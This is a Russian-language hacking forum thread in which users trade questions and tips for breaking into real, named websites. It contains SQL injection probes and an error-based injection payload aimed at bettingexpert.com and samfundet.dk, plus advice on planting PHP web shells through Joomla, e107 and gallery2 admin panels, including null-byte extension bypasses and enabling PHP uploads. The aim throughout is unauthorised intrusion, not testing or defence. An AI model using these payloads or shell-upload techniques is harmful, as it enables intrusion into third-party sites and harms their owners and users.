Ваши вопросы по уязвимостям.

Templates, плагины.
// Или найти на ачате уже слабо?

 

Здесь есть SQL-inj?

http://www.bettingexpert.com/tip.php?id=49630'+order+by+1+--+

 

да

http://www.bettingexpert.com/tip.php?id=49632 and 1=1
http://www.bettingexpert.com/tip.php?id=49632 and 1=2

http://www.bettingexpert.com/tip.php?id=49632 and left(version(),1)=5
http://www.bettingexpert.com/tip.php?id=49632 and left(version(),1)=4

 

Захожу в Extension Manager, выбираю Upload Package File, выбираю файл шелла начинаю заливать, но появляется: "JFolder::create: Could not create director Warning! Failed to move file.Unknown Archive Type"
Что не так?

 

в настройках медиа менеджера разреши загрузку пхп файлов... и даже если ругнулся , все равно проверь ..не залился ли твой шелл в папку в которую заливал

 

http://www.samfundet.dk/artikel_text.php?art_id=-462'&op=sectioninfo&art_sid=17#en

 

Эх вы...

Текст есть? Есть.

Текст есть? Есть.
Вывод: Нету там скули.
// http://www.samfundet.dk/artikel_text.php?art_id=462'&op=sectioninfo&art_sid=17#en
У тебя там ошибка из-за -
И да, напишите на лбу пожалуйста, ОШИБКА НЕ СКУЛЯ!

 

вот вам эффективное определение инъекта:

1) http://www.samfundet.dk/artikel_text.php?art_id=462&op=sectioninfo&art_sid=17#en
выводится страница
2)http://www.samfundet.dk/artikel_text.php?art_id=463-1&op=sectioninfo&art_sid=17#en
контент страницы изменился значит инъекции нет

 

Здесь можно вывести через rand()?

http://www.bettingexpert.com/tip.php?id=49632'+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+(select+1+union+select+2+union+select+3)x+group+by+2+limit+1)a)+--+

 

Заливаю shell.php, создает shell_php.html

Как html обрезать?

 

нульбайтом, например

 

Скажите в чем проблема, когда заливаю шелл через админку в е107 CMS (делаю все как тут, первым и вторым способами), появляется ошибка: That file does not appear to be a valid .zip or .tar archive. Что не так делаю? Плагин заливаю 100% в формате .zip. Такое на всех сайтах, на которых доставал админку, происходит.
Что не так? И как залить шелл?

 

Как залить шелл в gallery2 имея доступ к админке?

 

Не получается. Лью shell.phtml, выводит shell_phtml.html

 

лей сначала форму для загрузки.
Потом через эту форму заливай шелл

 

Заливаю shell_phtml.html, выводит shell_phtml_html.html

Пробовал редактировать файл shell_phtml в админке.

Пишет:

Введеное Вами Название содержит недопустимые символы. Пожалуйста, выберете другое

 

ты не понял что над тобой постебались, фильтр стоит на раширение..

 

А зачем лить форму, когда можно сразу шелл залить?

 

Здравствуйте! Я тут новичок и хотел бы спросить. Есть же хостинги, и у них хостятся сайты. Почему при взломе одного из этих сайтов (wso шелл) я могу видеть другие сайты и изменять их файлы, и всегда ли это????

 

попугай попробуй ты, сейчас линк в ПМ скину.